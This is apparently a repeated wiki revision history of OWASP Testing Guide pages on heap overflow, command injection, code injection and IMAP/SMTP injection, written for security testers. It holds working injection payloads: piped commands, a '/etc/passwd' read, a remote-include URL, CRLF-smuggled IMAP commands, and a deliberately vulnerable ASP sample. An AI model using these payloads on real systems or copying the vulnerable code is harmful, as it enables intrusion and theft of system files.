Lately several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example consider a vulnerable code snippet, a part of code responsible for processing TNEF filetypes, from Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ):

<pre>
string = cli_malloc(length + 1); ''' Vulnerability'''
if(fread(string, 1, length, fp) != length) {''' Vulnerability'''
free(string);
return -1;
}
</pre>

The malloc in line 1 allocates memory based on the value of length, which happens to be a 32 bit integer. In this particular example length is user controllable and a malicious TNEF file can be crafted to set length to ‘-1’, which would result in malloc( 0 ). Following this malloc would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in malloc.h).

And now in line 2 heap overflow occurs in the call to fread( ). The 3rd argument, in this case length, is expected to be a size_t variable. But if it’s going to be ‘-1’, the argument wraps to 0xFFFFFFFF and there by copying 0xFFFFFFFF bytes into the 16 byte buffer.

Static code analysis tools can also help in locating heap related vulnerabilities such as “double free” etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* w00w00: "Heap Overflow Tutorial" - http://www.w00w00.org/files/articles/heaptut.txt
* David Litchfield: "Windows Heap Overflows" - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt
* Alex wheeler: "Clam Anti-Virus Multiple remote buffer overflows" - http://www.rem0te.com/public/images/clamav.pdf

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework
* Stack [Varun Uppal (varunuppal81@gmail.com)]

{{Category:OWASP Testing Project AoC}}

Testing for Buffer Overflow (OTG-INPVAL-014)

2008-08-23T07:56:33Z

Marco:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

'''What's buffer overflow?'''

To find out more about buffer overflow vulnerabilities, please go to [[Buffer overflow]] pages.

'''How to test for buffer overflow vulnerabilities?'''

Different types of buffer overflow vulnerabilities have different testing methods. Here are the testing methods for the common types of buffer overflow vulnerabilities.

* [[Heap_Overflow_Testing_AoC|Testing for heap overflow vulnerability]]
* [[Stack Overflow Testing AoC|Testing for stack overflow vulnerability]]
* [[Format String Testing AoC|Testing for format string vulnerability]]

{{Category:OWASP Testing Project AoC}}

Testing for Command Injection (OTG-INPVAL-013)

2008-08-23T07:55:22Z

Marco:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
In this paragraph we describe how to test an application for OS command injection. We try try to inject an OS command throughout an HTTP request to the application.

== Short Description of the Issue ==
OS command injection is a technique used via a web interface in order to execute OS commands on the web server. 

The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications. 

== Black Box testing and example ==
When viewing a file in a web application the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the filename.
 
Example URL before alteration: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=user1.txt</nowiki> 

Example URL modified: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|</nowiki> 

This will execute the command “/bin/ls”. 
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command.
 
Example: 
<nowiki>http://sensitive/something.php?dir=%3Bcat%20/etc/passwd</nowiki> 
 

'''Example''' 
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:
<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
</pre>
In this post request, we notice how the application retrieves the public documentations. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
</pre>

If the application doesn't validate the request, we can obtain the following result:
<pre>
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
</pre>

In this case, we have successfully performed an OS injection attack.

== Gray Box testing ==
Sanitization 
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters should be created to validate the user input. Characters that were missed as well as undiscovered threats should be eliminated by this list. 
Permissions 
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view 

== References ==

'''White papers''' 
* http://www.securityfocus.com/infocus/1709 

'''Tools''' 

* OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project 
* OWASP WebGoat - http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
 

{{Category:OWASP Testing Project AoC}}

Testing for Command Injection (OTG-INPVAL-013)

2008-08-23T07:53:22Z

Marco: /* Short Description of the Issue */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
In this paragraph we describe how to test an application for OS command injection. We try try to inject an OS command throughout an HTTP request to the application.

== Short Description of the Issue ==
OS command injection is a technique used via a web interface in order to execute OS commands on the web server. 

The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications. 

== Black Box testing and example ==
When viewing a file in a web application the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the filename.
 
Example URL before alteration: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=user1.txt</nowiki> 

Example URL modified: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|</nowiki> 

This will execute the command “/bin/ls”. 
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command.
 
Example: 
<nowiki>http://sensitive/something.php?dir=%3Bcat%20/etc/passwd</nowiki> 
 

'''Example''' 
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:
<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
</pre>
In this post we notice how the application retrieve the public documentations. Now we can test if it is possible to add an operative system command to inject in the POST HTTP. Try the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
</pre>

If the application doesn't validate the request, we can obtain the following result:
<pre>
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
</pre>

In this case we have obtained an OS Injection.

== Gray Box testing ==
Sanitization 
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters should be created to validate the user input. Characters that were missed as well as undiscovered threats should be eliminated by this list. 
Permissions 
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view 

== References ==

'''White papers''' 
* http://www.securityfocus.com/infocus/1709 

'''Tools''' 

* OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project 
* OWASP WebGoat - http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
 

{{Category:OWASP Testing Project AoC}}

Testing for Command Injection (OTG-INPVAL-013)

2008-08-23T07:52:22Z

Marco: /* Brief Summary */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
In this paragraph we describe how to test an application for OS command injection. We try try to inject an OS command throughout an HTTP request to the application.

== Short Description of the Issue ==
OS Commanding is a technique used via a web interface in order to execute OS commands on the web server. 

The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS commanding is preventable when security is emphasized during the design and development of applications. 

== Black Box testing and example ==
When viewing a file in a web application the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the filename.
 
Example URL before alteration: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=user1.txt</nowiki> 

Example URL modified: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|</nowiki> 

This will execute the command “/bin/ls”. 
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command.
 
Example: 
<nowiki>http://sensitive/something.php?dir=%3Bcat%20/etc/passwd</nowiki> 
 

'''Example''' 
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:
<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
</pre>
In this post we notice how the application retrieve the public documentations. Now we can test if it is possible to add an operative system command to inject in the POST HTTP. Try the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
</pre>

If the application doesn't validate the request, we can obtain the following result:
<pre>
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
</pre>

In this case we have obtained an OS Injection.

== Gray Box testing ==
Sanitization 
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters should be created to validate the user input. Characters that were missed as well as undiscovered threats should be eliminated by this list. 
Permissions 
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view 

== References ==

'''White papers''' 
* http://www.securityfocus.com/infocus/1709 

'''Tools''' 

* OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project 
* OWASP WebGoat - http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
 

{{Category:OWASP Testing Project AoC}}

Testing for Code Injection (OTG-INPVAL-012)

2008-08-23T07:49:38Z

Marco: /* Gray Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found at http://www.owasp.org/index.php/Code_Injection

== Description of the Issue ==

In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.

== Black Box testing and example ==

'''Testing for PHP Injection vulnerabilities:'''

Using the querystring, the tester can inject code (in this example, a malicious url) to be processed as part of the included file:

<nowiki>http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a</nowiki>

'''Result Expected:'''

The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.

== Gray Box testing and example ==

'''Testing for ASP Code Injection vulnerabilities

Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'Data.txt is executed
Server.Execute( "data.txt" )

Else
%>
<form>
<input name="Data" /><input type="submit" name="Enter Data" />
</form>
<%
End If
%>)))

== References ==

* Security Focus - http://www.securityfocus.com

* Insecure.org - http://www.insecure.org

* Wikipedia - http://www.wikipedia.org

* OWASP Code Review - http://www.owasp.org/index.php/OS_Injection
 
{{Category:OWASP Testing Project AoC}}

Testing for Code Injection (OTG-INPVAL-012)

2008-08-23T07:47:55Z

Marco: /* Description of the Issue */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found at http://www.owasp.org/index.php/Code_Injection

== Description of the Issue ==

In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.

== Black Box testing and example ==

'''Testing for PHP Injection vulnerabilities:'''

Using the querystring, the tester can inject code (in this example, a malicious url) to be processed as part of the included file:

<nowiki>http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a</nowiki>

'''Result Expected:'''

The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.

== Gray Box testing and example ==

'''Testing for ASP Code Injection vulnerabilities

Examining ASP code for user input used in execution functions, e.g. Can the user enter commands into the Data input field? Here, the ASP code will save it to file and then execute it:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'Data.txt is executed
Server.Execute( "data.txt" )

Else
%>
<form>
<input name="Data" /><input type="submit" name="Enter Data" />
</form>
<%
End If
%>)))

== References ==

* Security Focus - http://www.securityfocus.com

* Insecure.org - http://www.insecure.org

* Wikipedia - http://www.wikipedia.org

* OWASP Code Review - http://www.owasp.org/index.php/OS_Injection
 
{{Category:OWASP Testing Project AoC}}

Testing for Code Injection (OTG-INPVAL-012)

2008-08-23T07:46:03Z

Marco: /* Brief Summary */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found at http://www.owasp.org/index.php/Code_Injection

== Description of the Issue ==

Code Injection testing involves a tester submitting code as input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, i.e. ASP, PHP, etc. Proper validation and secure coding practices need to be employed to protect against these attacks.

== Black Box testing and example ==

'''Testing for PHP Injection vulnerabilities:'''

Using the querystring, the tester can inject code (in this example, a malicious url) to be processed as part of the included file:

<nowiki>http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a</nowiki>

'''Result Expected:'''

The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.

== Gray Box testing and example ==

'''Testing for ASP Code Injection vulnerabilities

Examining ASP code for user input used in execution functions, e.g. Can the user enter commands into the Data input field? Here, the ASP code will save it to file and then execute it:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'Data.txt is executed
Server.Execute( "data.txt" )

Else
%>
<form>
<input name="Data" /><input type="submit" name="Enter Data" />
</form>
<%
End If
%>)))

== References ==

* Security Focus - http://www.securityfocus.com

* Insecure.org - http://www.insecure.org

* Wikipedia - http://www.wikipedia.org

* OWASP Code Review - http://www.owasp.org/index.php/OS_Injection
 
{{Category:OWASP Testing Project AoC}}

Testing for IMAP/SMTP Injection (OTG-INPVAL-011)

2008-08-23T07:44:58Z

Marco: /* Black Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
This threat affects all those applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not properly sanitized.
 

==Description of the Issue==
The IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to make a direct testing.

An IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the front-end web servers. Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1).

<center>[[Image:imap-smtp-injection.png]] 
Figure 1 - Communication with the mail servers using the IMAP/SMTP Injection technique.</center> 

Figure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2' is the tester bypassing the webmail client and interacting with the back-end mail servers directly.

This technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested.

Some examples of attacks using the IMAP/SMTP Injection technique are:
* Exploitation of vulnerabilities in the IMAP/SMTP protocol
* Application restrictions evasion
* Anti-automation process evasion
* Information leaks
* Relay/SPAM

== Black Box testing and example ==
The standard attacks pattern are:
* Identifying vulnerable parameters
* Understanding the data flow and deployment structure of the client
* IMAP/SMTP command injection
 
'''Identifying vulnerable parameters'''
----
In order to detect vulnerable parameters, the tester has to analyse the applications ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure application, the response should be an error with some corresponding action telling the client that something has gone wrong. In a vulnerable application, the malicious request may be processed by the back-end application that will answer with a "HTTP 200 OK" response message.

It is important to notice that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.

IMAP special parameters that should be used are:
{| border=1
|| '''On the IMAP server''' || '''On the SMTP server'''
|-
|| Authentication || Emissor e-mail
|-
|| operations with mail boxes (list, read, create, delete, rename) || Destination e-mail
|-
|| operations with messages (read, copy, move, delete) || Subject
|-
|-
|| Disconnection || Message body
|-
|-
|| || Attached files
|-
|}

In this example, the "mailbox" parameter is being tested by manipulating all requests with the parameter in:
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1
</pre>
The following examples can be used.
* Assign a null value to the parameter: 
<pre>
http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&startMessage=1
</pre>
* Substitute the value with a random value: 
<pre>
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1
</pre>
* Add other values to the parameter: 
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1
</pre>
* Add non standard special characters (i.e.: \, ', ", @, #, !, |): 
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1
</pre>
* Eliminate the parameter: 
<pre>
http://<webmail>/src/read_body.php?passed_id=46106&startMessage=1
</pre>

The final result of the above testing gives the tester three possible situations: 
S1 - The application returns a error code/message 
S2 - The application does not return an error code/message, but it does not realize the requested operation 
S3 - The application does not return an error code/message and realizes the operation requested normally 

Situations S1 and S2 represent successful IMAP/SMTP injection.

An attacker's aim is receiving the S1 response as it is an indicator that the application is vulnerable to injection and further manipulation.

Let's suppose that a user retrieves the email headers using the following HTTP request:
<pre>
http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0
</pre>

An attacker might modify the value of the parameter INBOX by injecting the character " (%22 using URL encoding):
<pre>
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0
</pre>

In this case, the application answer may be:
<pre>
ERROR: Bad or malformed request.
Query: SELECT "INBOX""
Server responded: Unexpected extra arguments to Select
</pre>

The situation S2 is harder to test successfully. The tester needs to use blind command injection in order to determine if the server is vulnerable.

On the other hand, the last situation (S3) is not revelant in this paragraph.
 
'''Result Expected:''' 
* List of vulnerable parameters
* Affected functionality
* Type of possible injection (IMAP/SMTP)
 
'''Understanding the data flow and deployment structure of the client'''
----
After having identifying all vulnerable parameters (for example, "passed_id"), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit the application.

In this test case, we have detected that the application's "passed_id" parameter is vulnerable and is used in the following request:
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1
</pre>

Using the following test case (providing an alphabetical value when a numerical value is required):
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1
</pre>

will generate the following error message:
<pre>
ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by server.
</pre>

In this example, the error message returned the name of the executed command and the corresponding parameters.

In other situations, the error message ("not controlled" by the application) contains the name of the executed command, but reading the suitable RFC (see "Reference" paragraph) allows the tester to understand what other possible commands can be executed.

If the application does not return descriptive error messages, the tester needs to analyze the affected functionality to deduce all the possible commands (and parameters) associated with the above mentioned functionality. For example, if a vulnerable parameter has been detected in the create mailbox functionality, it is logical to assume that the affected IMAP command is "CREATE". According to the RFC, the CREATE command accepts one parameter which specifies the name of the mailbox to create.
 
'''Result Expected:''' 
* List of IMAP/SMTP commands affected
* Type, value, and number of parameters expected by the affected IMAP/SMTP commands
 
'''IMAP/SMTP command injection'''
----
Once the tester has identified vulnerable parameters and has analyzed the context in which it is executed, the next stage is exploiting the functionality.

This stage has two possible outcomes: 
1. The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN and LOGOUT. 
2. The injection is only possible in an authenticated state: the successful exploitation requires the user to be fully authenticated before testing can continue.

In any case, the typical structure of an IMAP/SMTP Injection is as follows:
* Header: ending of the expected command;
* Body: injection of the new command;
* Footer: beginning of the expected command.

It is important to remember that, in order to execute an IMAP/SMTP command, the previous command must be terminated with the CRLF (%0d%0a) sequence.
Let's suppose that in the stage 1 ("Identifying vulnerable parameters"), the attacker detects that the parameter "message_id" in the following request is vulnerable:
<pre>
http://<webmail>/read_email.php?message_id=4791
</pre>

Let's suppose also that the outcome of the analysis performed in the stage 2 ("Understanding the data flow and deployment structure of the client") has identified the command and arguments associated with this parameter as:
<pre>
FETCH 4791 BODY[HEADER]
</pre>

In this scenario, the IMAP injection structure would be:
<pre>
http://<webmail>/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791
</pre>

Which would generate the following commands:
<pre>
???? FETCH 4791 BODY[HEADER]
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]
</pre>

where:
<pre>
Header = 4791 BODY[HEADER]
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791
</pre>
 
'''Result Expected:''' 
* Arbitrary IMAP/SMTP command injection
 

== References ==
'''Whitepapers''' 
* RFC 0821 “Simple Mail Transfer Protocol”.
* RFC 3501 “Internet Message Access Protocol - Version 4rev1”.
* Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers" - http://www.webappsec.org/projects/articles/121106.pdf

{{Category:OWASP Testing Project AoC}}

Testing for IMAP/SMTP Injection (OTG-INPVAL-011)

2008-08-23T07:29:02Z

Marco: /* Description of the Issue */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
